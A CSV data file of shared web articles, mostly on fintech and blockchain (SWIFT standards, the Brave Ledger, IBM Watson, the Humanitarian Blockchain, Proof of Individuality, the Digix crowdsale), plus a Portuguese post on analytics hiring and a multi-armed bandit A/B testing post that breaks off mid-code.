1459907505,CONTENT SHARED,8770410950539401126,5660542693104786364,8184219702085830054,,,,HTML,http://thefinanser.com/2016/04/ive-got-standards-which-one-do-you-want.html/,I've got standards - which one do you want? [UPDATE 5 APRIL 2016],"Like a few other guys, I fly around the world almost non-stop. When people ask me where I live, I say British Airways lounge, and George Clooney's Up in the Air looks like a novice to me. Yet, even with all of that experience, you now and again encounter an anomaly. China for example. What about China for example? Well, China for example, is the only country I've visited anywhere that doesn't like my iPhone charger. It's the only country in the world that actually takes my charger from my carry-on case and bins it. That's annoying, especially when you have one of the world's best iPhone chargers, so the next time I went to China, I put the charger in my hold luggage. Nah. I just flew through China again and they dipped into my hold luggage, took the charger and binned it. You are not allowed any lithium battery products in any Chinese airport in your carry-on or hold luggage. So why am I sharing this story? Because this is at the heart of banking and the blockchain. A century ago, countries implemented different standards for most things. Our electricity, roads, governments, taxes, benefits, languages and more are all different. One of the harmonising things of the internet age is that things are all becoming standardised globally. The language of the internet is English; the challenge of governments is to work out how to tax the internet; WiFi and web usage is becoming normalised everywhere, as demonstrated by the fact that Facebook recently surged through a billion people using the service at the same time. Internet inclusion is leading to standardisation and harmonisation, whether we like it or not. But it's not there yet. A global platform will probably take another generation to generate and, in the meantime, we will live with the anomalies. The problem is that anomalies cost. You want standards? No problem, we have many. Which one do you want? This is the issue, and is the reason why banks talk about interoperability and standardisation at all the conferences I attend. ISO20022, XML, SEPA, XS2A, TARGET2 and T2S and more are all driving for common architectures and infrastructures, to lower cost and improve straight through processing. Now we stand on the cusp of a new world. An open source world of finance where our infrastructures can be rearchitected to work as shared distributed ledgers in a global network via blockchain. But there's an issue, and I often raise it. The issue is that we cannot create shared distributed ledgers if some of the players won't share it. A global clearing and settlement system via Digital Asset Holdings is fine, but there are others trying to create a global clearing and settlement system such as SETL, Epiphyte, Clearmatics, Overstock and more. Who will win? Will there be a shared global clearing and settlement system or, more likely, several variations that suit different geographies and lines of business. There is no such thing as a bank blockchain if the chain is only shared by a small group of players. There is something that does lend itself towards global standardisation in banking however, which is SWIFT. SWIFT has forced standards in the past - I always remember the bitching and moaning when they forced everyone to upgrade to SWIFTNet a decade ago - and may have to do so again. In December, intriguingly, SWIFT joined the Global Payments Innovation Initiative with the Linux Foundation. If you missed the announcement: The Linux Foundation, the nonprofit organization enabling mass innovation through open source, today announced a new collaborative effort to advance the popular blockchain technology. The project will develop an enterprise grade, open source distributed ledger framework and free developers to focus on building robust, industry-specific applications, platforms and hardware systems to support business transactions. Early commitments to this work come from Accenture, ANZ Bank, Cisco, CLS, Credits, Deutsche Börse, Digital Asset Holdings, DTCC, Fujitsu Limited, IC3, IBM, Intel, J.P. Morgan, London Stock Exchange Group, Mitsubishi UFJ Financial Group (MUFG), R3, State Street, SWIFT, VMware and Wells Fargo. No sight of anything out of it yet, but with SWIFT on board it could make things happen. As C24's CEO Craig Beddis stated in his blog about the subject: Blockchain needs SWIFT as much as SWIFT needs blockchain. That may be true or maybe it's not. Blockchain is gaining traction with our without SWIFT. The earlier mentioned Digital Asset Holdings (DAH) has pretty impressive backing between alliances with alliances with Accenture, PwC and Broadridge; early trials with JP Morgan and the Australian Stock Exchange; and backing from ABN AMRO, Accenture, ASX Limited, BNP Paribas, Broadridge Financial Solutions, Inc., Citi, CME Ventures, Deutsche Börse Group, ICAP, J.P. Morgan, Santander InnoVentures, The Depository Trust & Clearing Corporation (DTCC) and The PNC Financial Services Group, Inc. Equally, the R3CEV consortia could challenge SWIFT, as 42 of the world's largest banks* back the initiative which has early trials using Erethreum to build the next generation payments system. The trouble is that as we see these burgeoning interests in developing bank blockchain standards, we are potentially going down the same route as the Chinese lithium battery ban. You want standards? No problem, we have many. Which one do you want? I hope that in a year or two, we can see a different landscape where SWIFT works in partnership with DAH and R3 to create true interoperability and standardisation via databases that are shared by all banks that need to share them. * The 42 banks onboard with R3CEV are: Banco Santander Bank of America Barclays BBVA BMO Financial Group BNP Paribas BNY Mellon Canadian Imperial Bank of Commerce Citi Commerzbank Commonwealth Bank of Australia Credit Suisse Danske Bank Deutsche Bank Goldman Sachs HSBC ING Intesa Sanpaolo P. Morgan Macquarie Group Mitsubishi UFJ Financial Group Mizuho Bank Morgan Stanley National Australia Bank Natixis Nomura Nordea Northern Trust OP Financial Group Royal Bank of Canada Royal Bank of Scotland Scotiabank Skandinaviska Enskilda Banken Société Générale State Street Sumitomo Mitsui Banking Corporation Toronto-Dominion Bank S. Bancorp UBS UniCredit Wells Fargo Westpac Banking Corporation UPDATE 5th April 2016 ********************************************* SWIFT kicks off pilot for global payments innovation initiative ........................................................................................ 21 banks piloting SWIFT's new initiative to improve cross-border payments Brussels, 5 April 2016 - SWIFT announces today that 21 banks have started the pilot for its global payments innovation initiative, intended to improve the customer experience in correspondent banking by increasing the speed, transparency and predictability of cross-border payments. The pilot is planned to run through to December, the first results of which will be shared at Sibos 2016 in Geneva this September. The banks participating in the pilot include: ANZ, Bank of America Merrill Lynch, Bank of China, Bank of New York Mellon, Bank of Tokyo-Mitsubishi UFJ, Barclays, BNP Paribas, Citi, Danske Bank, DBS, ICBC, ING Bank, Intesa Sanpaolo, JPMorgan Chase, Mizuho, Nordea, Royal Bank of Canada, SMBC, Standard Chartered, UniCredit, and Wells Fargo. Wim Raymaekers, Global Head of the Banking Market and project lead for this initiative at SWIFT says, ""The tight knit group of leading banks will help to spearhead the testing through the pilot and beyond. Their commitment is testament to the initiative and our joint ambition to significantly improve the cross-border payments experience for corporate customers. As we progress, we aim to incorporate additional innovations and deploy new technologies to this global payments innovation initiative, and define additional service level agreements that will cater for other client groups, further reducing the costs and frictions arising from compliance, liquidity and processing efficiency considerations involved in cross-border payments."" Following our earlier announcement in January 2016 , 51 banks are now signed up to the initiative to work together to create a new service level agreement (SLA) rulebook for cross-border payments, providing an opportunity for smart collaboration between banks. The banks that have recently joined the initiative are Standard Bank, Investec, Resona Bank, Tadhamon International Islamic Bank, Kasikornbank, and the Bank of the Philippine Islands (BPI). In response to requests from the banks, SWIFT is offering an on-boarding process in parallel to the pilot, to ensure that all banks signed up for the initiative can prepare for live operations. The service is planned to go live for all participating banks in 2017. In its first phase, the new service will focus on business-to-business payments. Designed to help corporates grow their international business, improve supplier relationships, and achieve greater treasury efficiencies; the initiative will enable corporates to receive an enhanced payments service directly from their banks, with the following key features: Same day use of funds Transparency and predictability of fees End-to-end payments tracking Transfer of rich payment information. ""This is a smart way to address some major pain points with the current cross-border payments process,"" says Magnus Carlsson, Treasury and Payments Manager at the Association for Financial Professionals (AFP). ""Through the global payments innovation initiative, banks can use existing technology to quickly bring visible improvements to B2B payments for their corporate customers. From a corporate perspective this kind of development in the payments space is very encouraging as it means no significant changes need to be made to internal systems in order to potentially reap the benefits of the program.""",en
1459911539,CONTENT REMOVED,-1287202638861144684,1748162647671155552,5860684579527063696,,,,HTML,https://www.linkedin.com/pulse/eu-n%C3%A3o-preciso-de-unic%C3%B3rnios-malamutes-do-alaska-johann-vivot,"Eu não preciso de Unicórnios, preciso de Malamutes do Alaska...","... afinal, Unicórnios não existem, não é mesmo? É assim que devemos iniciar a discussão sobre um dos assuntos mais comentados na atualidade: A raridade e, por consequência, a dificuldade em encontrar talentos para os times de analytics e data science. Em pesquisa recente feita pela Nucleus Research , analisando grandes empresas com a correta utilização de analytics e data science, encontramos que a cada dólar investido corretamente na competência, obtemos um ROI de $13.01 (Número que era $10.66 em 2011). Em outras palavras, a cada vez que investimos em pessoas, processos e tecnologia na área de analytics e data science, recebemos de volta 10x a mais o valor investido. E esse número vem aumentando com o exponencial avanço e expansão da área. Outro número interessante divulgado no eMetrics Summit 2016 , é que um profissional de analytics e data science, inserido no momento e contexto correto, pode gerar para a empresa a receita ou saving de $107k-$554k ao ano. Mas onde achar esse profissional que une habilidades tão raras? Encontrar habilidades estatísticas, tecnológicas e de negócios em um único profissional me parece realmente como caçar um unicórnio. Trago uma boa notícia a você: Você não precisa de unicórnios. Você precisa de Malamutes do Alaska. Os Malamutes do Alaska são os cães fortes e robustos que os esquimós utilizam para puxar trenós em baixíssimas temperaturas e nos terrenos mais adversos. Na analogia, eles são os as pessoas que usarão o trabalho em equipe para levar sua empresa até o destino enfrentando longas viagens, adaptando-se em altas variações de temperatura e nos mais difíceis terrenos. Outra boa notícia é que, diferente da existência do unicórnio, a existência do Malamute do Alaska não é um mito, eles existem. A má notícia é que eles ainda são difíceis de achar. Algumas habilidades que você deve caçar além do engajamento são: O profissional com habilidade de fazer acontecer com os recursos disponíveis; O open source guru que irá te ajudar com as soluções disponíveis no mercado; O profissional com a habilidade de criar modelos de análise com embasamento estatístico; O deep diver, que irá mergulhar nas mais profundas entranhas para chegar as análises que deseja; O storyteller, que possui ótima habilidade de comunicação e capaz de contar belas histórias que os dados nos contarão; A pessoa curiosa e questionadora que irá evitar que nos precipitemos; E por fim, o perfil que coloca sempre a privacidade dos usuários análisados em primeiro lugar; Um profissional pode conter uma ou ""N"" habilidades, mas nosso trenó irá mais longe se for puxado por ""cães"" com essas habilidades. Porém, você pode começar a montar a ""matilha"" da sua empresa através das unidades de negócio. Comece entregando valor e diversos kickwins para a unidade em questão. Certamente eles possuem necessidades que você, utilizando o poder do analytics e data science, pode ajudar de forma rápida. Isso gera a fome de dados e por consequência o engajamento. As unidades de negócio possuem habilidade de enxergar significância de negócio em análises, que possui um peso grande quando vem antes da significância estatística (Sim, existe uma diferença e isso não quer dizer que uma é mais importante que outra, mas a primeira deve sempre vir antes da segunda). Vá empoderando esses usuários aos poucos com a ajuda das diversas plataformas que temos disponíveis . E por fim vá criando a governança e os processos que te sustentarão nessa jornada. No decorrer do caminho você terá tempo para caçar os Malamutes do Alaska corretos para sua ""matilha"". Além disso, irão aparecer naturalmente Malamutes do Alaska nas suas unidades de negócio. Criando a estrutura de time correta, utilizando as ferramentas da melhor forma possível para suprir as necessidades e com uma grande estratégia, é possível colher os grandes frutos da competência.",pt
1459941471,CONTENT SHARED,179286456725721055,4340306774493623681,-6543125393333483372,,,,HTML,https://news.bitcoin.com/brave-ledger-bitcoin-micropayments/,Mozilla Founder Unveils 'Brave Ledger' with Bitcoin Micropayments,"In the world of stagnating Internet browsers, Brave is taking a completely different approach. Putting the end user in control of which ads to display - if any - and introducing Bitcoin micropayments will change the way consumers and content creators look at the World Wide Web. Also read: Trump: 'I'll Build a Wall Around Banks to Keep Bitcoin Out' A 'Brave' New Approach Although most people in the world of and digital currency are well aware of what the Brave browser will bring to the table , the developers have recently posted another blog post to tell us a bit more about what's in store. There will be a significant focus on replacing advertisements in a clean and safe way, but there's more to this project than just switching the banners people see when visiting their favorite websites. Browser tracking a grave concern, and a lot of more Internet users should be worried about this concept. The main purpose of and tracking is how the browser collects information on which websites are visited by users, and this data is then sent back the developers such as Google, Apple, Microsoft, and any other third company tracking user browsing behavior. Brave will offer a way not just to replace ads, but ensure there is no ad tracking going on as well. Putting the end user back in control of the entire experience is of the utmost importance to this company. By ensuring none of the user's browsing data will be visible on the company servers in an unencrypted format, Brave seems to be on the right track to put the user back in control. But what is of even more interest than the ad replacement model is Brave Ledger , the long-awaited Bitcoin micropayment system for content creators and browser users. As Brave developers value the prospect of creating open source software solutions, they have shared Brave Ledger specifications with the world to spur discussion about this project. The announcement reads: Today we are discussing the Brave Ledger , a Bitcoin-based micropayments system for users and publishers. As part of our open source approach, we are sharing the specification with developers for comment and discussion [...]. [W]e are planning on having everything running (and released as open source) in our 1.0 Development release later in May. User feedback is more than welcome once everything has been made open source, and the team is open to making code revisions based on input from the community. New Bitcoin Micropayment Models The ad-free mode found within the Brave browser requires users to pay a flat monthly fee in Bitcoin. Once a user sends the payment, the browser will aggregate a list of the top 10 sites based on the browsing history , and assign a ""weight"" to each platform. The total payment sum will be tallied up every day, and after some number crunching, every website owner will receive their fair share of the cut. Do keep in mind there will be a processing fee put in place, although no official percentage has been announced yet. Not everything about this process will be automated, though, as users can decide which sites should be supported by using the Brave preferences panel . Moreover, users will be able to set their own weight for particular websites, or even opt to reward more than ten different platforms. This feature will be changing over time as well, as the Brave developers expect a lot of feedback on how users want to tweak these settings. Ad-replacement mode, which replaces the traditional banners with ""clean"" advertisements, is dependant on Brave's advertising partners. Once again, a weighted list of publishers is created, based on the information gathered from users opting to use this ad-replacement model in the Brave browser. The developers will take a share of the generated revenue - currently set at 15% - and the ad-matching partner as well, whereas the rest is allocated to users and publishers. The ad-replacement mode does have certain drawbacks. Although Brave users can opt to donate funds to publishers directly, there is also an option to transfer funds to a different Bitcoin wallet. However, doing so requires users to go through a and verification process, which includes proving ownership of a phone number and an email address. No personal documents will be required. Last but not least, publishers will have to go through a similar procedure to cash out their Bitcoin earnings, although things will be more strict in this regard. No specific details are revealed just yet, but verification by providing specific documents is not entirely out of the question. With all of the different options available to Brave users, there is an exciting future ahead to reshape the way people browse the Internet. Rewarding favorite content creators is just one step, but choosing which sites can show default ads, which have to hide banners, and where one wouldn't mind seeing replacement ads, is an entirely new experience. All of this is made possible thanks to the Brave developers, and Bitcoin. What are your thoughts on this new blog post by the Brave developers? Is there anything that surprises or disappoints you? Let us know in the comments below! Images courtesy of Shutterstock, Brave JP Buntinx is a freelance Bitcoin writer and Bitcoin journalist for various digital currency news outlets around the world, Jean-Pierre is an active member of the Belgian Bitcoin Association, and occasionally attends various Bitcoin Meetups in Ghent and Brussels.",en
1459941489,CONTENT SHARED,8605423472891112686,4340306774493623681,-6543125393333483372,,,,HTML,http://www.coindesk.com/ibm-watson-artificial-intelligence-blockchain/,IBM Watson is Working to Bring AI to the Blockchain - CoinDesk,"IBM is currently attempting to merge artificial intelligence and the blockchain into a single, powerful prototype. With blockchain tech's promise of near-frictionless value exchange and artificial intelligence's ability to accelerate the analysis of massive amounts of data, the joining of the two could mark the beginning of an entirely new paradigm. Over the past three months, IBM's chief architect in charge of Internet of Things security Tim Hahn has focused specifically on introducing the blockchain to his company's artificially intelligent computer named Watson. Hahn told CoinDesk: ""What we're doing with blockchain and devices is enabling the information those devices supply to effect the blockchain...You begin to approach the kind of things we see in movies."" Potential applications include using distributed ledgers to perform tasks like running self-diagnoses at set times to more advanced services that may someday let regulators virtually go back in time to the point where a device failed ""to identify exactly what went wrong,"" Hahn said. Watson meets IoT While exciting, the work is still in its early days of development. A recently as last March, IBM announced it planned to invest $3bn over four years to build an entire unit dedicated to the Internet of Things (IoT), the term used to describe the the connection of a wide range of hardware devices such as washing machines or thermostats to the Internet. Connecting devices to the Internet in predicted to generate $235bn in revenue by the end of the year, an increase of 22% from the year before, according to a 2015 report by Gartner. It projects 6.4 billion connected devices could be in use around the world by the end of this year, with that number predicted to reach as high as 20.8 billion devices by 2020. But, with all that opportunity comes security risks as well. For Hahn's project, the Watson Internet of Things group - a merger of the IBM Internet of Things Foundation and IBM Watson, this means exploring how artificial intelligence might help make those ""smart"" things safer. He said: ""We found that there's this interesting convergence between IBM Watson capability and the Internet of Things Foundation and we decided it would be even better if we combined the two."" IBM breaks down the Watson Internet of Things into four categories: how devices are connected; how information is managed, stored and transformed; how risks are managed; and how data is analyzed. Hahn's work focuses specifically on the third category and how blockchains might be used to make devices safer for their users, in part by reducing human involvement in their operation. A Watson-powered blockchain ""Its early days,"" Hahn said. ""And we're just playing around with prototypes now."" Still, one of the features of those early prototypes lets device owners register on the blockchain, and with smart contracts, create different tiers of access for others, giving different users of the devices functionality in personalized ways. Not only could user-specific registration help prevent corporate-owed devices from being misused, but it could help prevent the users themselves from being injured. A device's registration could last its entire ""lifespan"" across different owners and include the state of its firmware, permanent software that could be used to help regulators identify the exact point a device breaks or began to malfunction. Artificially intelligent software solutions could then be implemented remotely. ""You better be ready to actively update your devices throughout the lifecycle of your devices,"" Hahn said. ""As we know, vulnerabilities will be discovered long after the device is released."" Joint ownership of a device, where multiple companies have a vested interest in its current state of production and operational status, could also be improved by an artificially intelligent blockchain, Hahn suggested. ""The blockchain will let those parties collectively agree on the state of the device and make decisions on what to do based on language coded into a smart contract,"" he continued. Earlier experiements While IBM's work integrating Watson with the blockchain is relatively new, the company has been experimenting with blockchain tech for some time. As far back as 2014, IBM's former vice president, Paul Brody described to CoinDesk the blockchain's potential ability to power the Internet of Things. In January 2015, IBM and Samsung jointly revealed a proof-of-concept called ADEPT that integrated BitTorrent, Ethereum and TeleHash at the CES in Las Vegas. In February 2016, Hahn spoke at this year's InterConnect conference on mobile and cloud technology about how the Watson Internet of Things platform could be implemented to help prevent risks for a wide range of different businesses. As part of Hahn's work to improve security by integrating blockchain with Watson, he identified other potential areas of improvement included security analytics, data protection, auditing and logging. Hahn told CoinDesk: ""I don't think blockchain and security are synonymous. They might be related, but they're certainly not synonymous functions. One does not beget the other. There's plenty ways to insecurely use the blockchain.""",en
1459941507,CONTENT SHARED,1423541364223434892,4340306774493623681,-6543125393333483372,,,,HTML,http://cointelegraph.com/news/saving-the-world-through-crypto-the-humanitarian-blockchain,Saving the World Through Crypto: The Humanitarian Blockchain,"The Humanitarian Blockchain is taking on the worst problems facing the world's poor through innovative use of blockchain technology and non-governmental solutions. Over 2.5 billion people, almost half the world, are unbanked . Undocumented immigration is a global issue, with over 11 million in the United States alone. Many property owners globally have no legal title to their land, and could benefit from land registration . These challenges have traditionally been addressed by governments and NGOs. However, technological innovators and humanitarian activists are pioneering new ways of helping the world's poor through blockchain technology. CoinTelegraph spoke with libertarian journalist Julio Alejandro, founder of the Humanitarian Blockchain, about using blockchain technology to find non-governmental solutions to global humanitarian crises. The first startup to solve global problems using Blockchain technology CoinTelegraph: How would you describe the Humanitarian Blockchain project (in one sentence)? Julio Alejandro: The Humanitarian Blockchain (HB) is the first project that solves social global problems using Blockchain technology. I founded it in February 2016 as a start-up at Google Campus London . It aims to become a hub that could match blockchain software developers/IT people with local activists in developing countries to use their technology to solve non-traditional problems, most of them relating to human rights violations, lack of representative democracy, and land registration. CT: What are the different elements of the project? JA: So we divide it into a project, case-based, system and an administrative, market one. On the first one we have 12 cases in 10 countries. Half of them have achieved their goals or significant milestones and half of them are on going or could be labeled as brainstorming utopia because no one is executing them. They involve registering lands on the blockchain through BitNation in 28 Ashanti Ghanaian communities, providing Bitcoin debit Visa cards to Syrian refugees, creating blockchain IDs to avoid electronic death (which leads to physical disappearance) to journalists, human right defenders, and the political opposition in Colombia, and other projects for sex trafficking in Thailand , incarcerated African-American communities, drug cartel dominated Honduras , and other places in Europe and Africa . Most or all of the projects have been carried out by BitNation members, HB is a project that works with and in parallel with Bitnation. - Julio Alejandro, founder of the Humanitarian Blockchain A way to make a direct impact on humanitarian and political affairs CT: What prompted its creation? JA: Good question. Try using any other terms, but in reality, my eternal rage, disappointment, and incapacity to have a direct impact upon humanitarian and political affairs as a journalist. CT: That sounds like a good motivation. The best technological advancements come as solutions to problems. Problems make us angry, and that motivates us to do better to our fellow humans. Why use blockchain technology to solve these problems? JA: When I was 22 years old I was already the sub-general director (2nd on the list) of a local newspaper La Jornada San Luis. At 25 years old I became one of the world's youngest Foreign Correspondent in Chicago for La Jornada, was promoted a year after to a US National Foreign Correspondent to Excelsior and now, even as one of the top journalistic and most influential/powerful figures in Mexican journalism, our voice, ideas, and messages, are minimal, almost nonexistent. I'm currently the US & UK Foreign Correspondent for one of the top 5 newspapers and media in Mexico in charge of two of the most important countries in the world. I cannot change anything. I was introduced to whatever I now know as is Fintech by... Joël Valenzuela, buying beer with Bitcoin at Porcfest. CT: Yes, I remember that! JA: Before that I always believed in the schemes of internal redistribution through taxation and international reparations to help ""development"" and human rights across the globe. As a journalist, they invite me to speak about global and political affairs everywhere. So the first time I went deep, serious, about Fintech was at a university lecture. The whole audience kept asking me about it. So it was the London's elite intellectual audience, whom have never heard of Blockchain/Bitcoin/Ethereum/Smart contracts, etc. that motivated me to do it. Any conflicts with governments possible? CT: Blockchain tech is very new and cutting-edge, and can be difficult to get professionals to adopt it. It must be even harder to get the world's impoverished to understand. Have you faced any reluctance from the very people you're trying to help, or do you foresee this as a problem? JA: Absolutely not. So far, all has been a shining rainbow of applause and motivation. CT: Many of these services you're seeking to provide may conflict with what governments are tasked with doing (immigration in particular). Do you foresee any conflicts with governments? JA: Yes and no. Many activists in HB and Bitnation could be called ""libertarian socialists."" They want to decrease or eliminate government violence, wars, and corruption/inefficacy of social services but do not endorse egoism, extreme individualism, or lack of a social security net for the poor and the oppress. We all try to take away the power of the state, but we brand (or hide) ourselves through an optimist view of entrepreneurship based in technology and capitalism for humanitarian purposes. We look to collaborate with, not antagonize, governments and authorities. If by providing better, cheaper, faster, and more secure services they get upset, let them be. It might be a result, but not our goal, road, or intention. The hub for Blockchain software developers who what to help local communities CT: Where do you see the project going over the next year or so? JA: HB will grow to be the hub for all the good people in the world. I'm not exaggerating. The reason is simpler: there is no competition or alternative. By good people in the world I mean Blockchain software developers who live in/can help developing local communities to solve their problems. One-year goal: Become the hub for Blockchain altruist global developers. I think it's important to highlight three things: One, this is the first initiative to use and analyze the Blockchain for political and humanitarian purposes. Two, it reveals the multi polarity of its users: a brown Mexican immigrant with a political and journalistic background now pitching his startup in the London creative industries. And three, this project aims to become a consultancy. The first geopolitical DIY e-governance consultancy focused in ethnic minorities and developing countries. We're not solving white old rich people problems, we're focused on the oppressed, marginalized, the real poor. In the future we hope to incorporate HB into a corporation under the form of Corporate Social Responsibility or use our expertise for nation-states or International Organisms like the UN, Unesco, IMF , etc.",en
1459941719,CONTENT SHARED,-8445686000003509032,4340306774493623681,-6543125393333483372,,,,HTML,http://www.newsbtc.com/2016/04/05/proof-of-individuality-blockchain-security/,"Proof of Individuality, the New-Age Security on Blockchain - NEWSBTC","Proof of Individuality protocol is designed to prevent Sybil attacks on peer-to-peer network based computer reputation systems. Read more... The virtual world is full of threats; Sybil attacks make a sizeable chunk of it. Especially with the increasing implementation and usage of peer-to-peer networks, the network infrastructure lay more exposed to such attacks than ever. Cryptocurrencies also use a form of peer-to-peer network, which naturally puts them on the list as well. The magnitude of threat is now being countered by the development and implementation of anti-Sybil protocols. Proof of Individuality is one of the protocols currently under development as a defense against Sybil attacks. the term Sybil is based on a book by the same title where the character suffers from Multiple Personality Disorder or Dissociative Identity Disorder. Sybil Attacks usually spoof the computer reputation systems by forging the identity of peers connected to the network. This will lead to a large number of fake peers overloading the network to influence the decisions and output of the system. According to a recent post on Bitnation's blog, the Proof of Individuality protocol currency under development is based on the hard fact that one can't be in two places at the same time. By using the basic physical principles, the new protocol uses pseudonym parties. the Proof of Individuality protocol is based on Bryan Ford's draft paper titled Pseudonym Parties: An Offline Foundation for Online Accountability . Bryan Ford's paper suggests the use of offline events or gatherings across the world to verify the individuality of the participants. Now, can the same process be applied in the virtual world? The answer is yes; it can be implemented by using a simple everyday chat application like Google Hangouts or the latest Microsoft Holoportation for a more refined 3D capture system currently developed by Microsoft Research. Every participant of the hangouts conference held once every month can be assigned a Proof of Individuality token without having any identifiers that can identify the person it is assigned to. these Tokens can be linked the private key, with an expiration date of one month. Once the active period is over, the token, a smart contract by itself will automatically schedule another round of virtual conference. Once the conference ends, a new token will be automatically assigned to the participant. By ensuring that that there is no connection between the previous token and the fresh one, anonymity of the users can be maintained. The Bitnation article goes on to mention the rewarding mechanism that can be incorporated into the system, a type of crypto token that can be transferred from one participant to another. By setting a minimum token requirement for each participant, the individuality of the participant can be further confirmed. The Proof of individuality protocol as described above will be built using smart contracts over Ethereum protocol and it can be used to ensure that the individual connections/identity is not being spoofed by a third party with malicious intent. even though there is a chance of actual connection/system being hijacked, the probability of such an occurrence is negligible. Even in such an unlikely scenario, the number of systems that needs to be hijacked to make even a small dent in the whole network is very high, hence impractical. However, the practicality of using this exciting anti-Sybil solution for all blockchain-based applications is yet to be tested. Ref: | Anti-Sybil Protocol using virtual Pseudonym Parties | Image: Identity by Natasha Mayers (Flickr)",en
1459941740,CONTENT SHARED,1586004000405879970,4340306774493623681,-6543125393333483372,,,,HTML,https://www.cryptocoinsnews.com/digix-millions-ethereum-blockchain-crowdsale/,Gold Backed Digix Raises Millions in Hours on Ethereum Blockchain Crowdsale,"Digix crowd sale sold out within a day, raising a capped $5,500,000 only hours after the opening of ""the first decentralized crowdsale on the Ethereum Blockchain"" according to Anthony Eufemio, CTO at DigixGlobal, with almost half a million ether coins used in the process. The crowd sale is to fund the creation of one of the first Decentralised Autonomous Organizations (DAO) by DigixGlobal Ltd. which will employ a proof of asset (PoA) protocol to back Digix tokens (DGX) with ""99.99% London Bullion Market Association (LBMA) approved Gold."" DGX tokens are created through a ""Minter Smart Contract"" by using Ethereum's smart contract platform with each token representing 1g of gold and divisible up to 0.001g. A PoA Asset Card is further created by uploading through a smart contract onto Ethereum such information as the time stamp of the card creation, the gold bar serial number, purchase receipt and audit documentation, allowing for full transparency and verification as well as allowing a DGX token holder to redeem the token for actual gold. According to Digix's whitepaper, a further triparty system is used to secure the gold with ValueMax Singapore, a publicly listed company, supplying the gold, Bureau Veritas Inspectorate carrying out quarterly checks on the quality and quantity of gold in the vault and MalcaAmit providing secure physical storage. The crowd sale will create two million DigixDAO Tokens (DGD) which are different from the gold backed DGX tokens as Anthony Eufemio, CTO at DigixGlobal, explained in an email to CCN: DGD tokens are created for the crowdsale. They represent a share of the transaction fees from the DGX gold token system. The DGX tokens (1 gram gold tokens) are created through the Proof of Asset process where someone purchases a physical gold bar for storage at the participating custodian vaults. The users receive an Ethereum contract that represents the ownership of that physical gold bar that are signed by the Vendor, Custodian, and quarterly by the Auditor (documents are referenced by their IPFS file hash). The users receive an Ethereum contract that represents the ownership of that physical gold bar that are signed by the Vendor, Custodian, and quarterly by the Auditor (documents are referenced by their IPFS file hash). Users can convert their gold bar contracts into fungible gold tokens through the ""Minting"" function which turns them into an equivalent amount of DGX gold tokens. For example, if a 100g gold bar asset card is sent to the minter, it is converted into 100 DGX tokens. There are no limits to DGX as they represent the demand for gold bars at DigixGlobal. The contracts are fully on chain and autonomous. Our proof of asset protocol mitigates the risk of fraud. Deposit and withdrawal processes have to go through authorization procedures. We host quarterly independent audits, as well as allowing individuals to do a private audit of their bars."" The main benefit of DGD tokens is that the token holders may be rewarded DGX tokens through transaction fees with one DGX token created for every 1 gram of gold, thus maintaining a stable value. The volatility of digital currencies like Bitcoin and Ethereum has been identified as one of the main barriers to wider adoption due to its wild fluctuations of, at times, 50% or more in either direction. Digix is one of the first attempts to address this problem by backing the token with the much more stable gold. It aims to do so in a decentralized way through the creation of a decentralized autonomous organization. The DGD token holders, if they invested more than $15,000 in the crowd sale, will be able to make proposals and vet proposals. All DGD token holders will be able to vote on how the funds should be allocated, on whether further funds should be raised and on general strategy and direction for the DAO. The Digix crowdsale is one of three better-known crowdsales to come out of ethereum's ecosystem which, due to its smart contracts platform, allows for new decentralized business models. Augur , a decentralized prediction market, raised more than $5 million in October 2015 for the creation of DAO tokens which reward the token holders with transaction fees. Slock.it, a DAO crowdsale which is to fund the creation and deployment of smart locks as well as an Ethereum computer, comparable to 21inc's bitcoin computer , is to hold a much expected crowdsale shortly with the same model of rewarding token holders from transaction fees in unlocking smart locks or from the Ethereum computer transactions. Some, however, urge caution, comparing the numerous crowdsales to the altcoin craze of 2013. These business models are very new, fully untested, with no one able to predict the outcome. All the crowdsale providers emphasize that they give no guarantees and your investment could be fully lost. However, one cannot help but feel the energy and enthusiasm coming out of ethereum's ecosystem which has made possible new inventions such as smart locks or, if Digix works, non-volatile, decentralized, digital currency. The author is not currently invested in any of the DAOs, companies or brands mentioned above (except for bitcoin and ethereum) and has no relation whatever with any of the companies, DAOs or brands (except for bitcoin and ethereum). No guarantee whatever is provided that any of the information above is accurate (although the author has attempted to verify facts). None of the above constitutes investment advice and the reader bears full risk in relying on any of the above statements. Images from Shutterstock and Ethereum .",en
1459942396,CONTENT SHARED,7645026617184703521,-2979881261169775358,3524544051424646826,,,,HTML,http://stevehanov.ca/blog/index.php?id=132,20 lines of code that will beat A/B testing every time,"Zwibbler.com is a drop-in solution that lets users draw on your web site. A/B testing is used far too often, for something that performs so badly. It is defective by design: Segment users into two groups. Show the A group the old, tried and true stuff. Show the B group the new whiz-bang design with the bigger buttons and slightly different copy. After a while, take a look at the stats and figure out which group presses the button more often. Sounds good, right? The problem is staring you in the face. It is the same dilemma faced by researchers administering drug studies. During drug trials, you can only give half the patients the life saving treatment. The others get sugar water. If the treatment works, group B lost out. This sacrifice is made to get good data. But it doesn't have to be this way. In recent years, hundreds of the brightest minds of modern civilization have been hard at work not curing cancer. Instead, they have been refining techniques for getting you and me to click on banner ads. It has been working. Both Google and Microsoft are focusing on using more information about visitors to predict what to show them. Strangely, anything better than A/B testing is absent from mainstream tools, including Google Analytics, and Google Website optimizer. I hope to change that by raising awareness about better techniques. With a simple 20-line change to how A/B testing works, that you can implement today , you can always do better than A/B testing -- sometimes, two or three times better. This method has several good points: It can reasonably handle more than two options at once.. Eg, A, B, C, D, E, F, G, � New options can be added or removed at any time. But the most enticing part is that you can set it and forget it . If your time is really worth $1000/hour , you really don't have time to go back and check how every change you made is doing and pick options. You don't have time to write rambling blog entries about how you got your site redesigned and changed this and that and it worked or it didn't work. Let the algorithm do its job. This 20 lines of code automatically finds the best choice quickly, and then uses it until it stops being the best choice. The Multi-armed bandit problem The multi-armed bandit problem takes its terminology from a casino. You are faced with a wall of slot machines, each with its own lever. You suspect that some slot machines pay out more frequently than others. How can you learn which machine is the best, and get the most coins in the fewest trials? Like many techniques in machine learning, the simplest strategy is hard to beat . More complicated techniques are worth considering, but they may eke out only a few hundredths of a percentage point of performance. One strategy that has been shown to perform well time after time in practical problems is the epsilon-greedy method. We always keep track of the number of pulls of the lever and the amount of rewards we have received from that lever. 10% of the time, we choose a lever at random. The other 90% of the time, we choose the lever that has the highest expectation of rewards. def choose(): if math.random() Why does this work? Let's say we are choosing a colour for the ""Buy now!"" button. The choices are orange, green, or white. We initialize all three choices to 1 win out of 1 try. 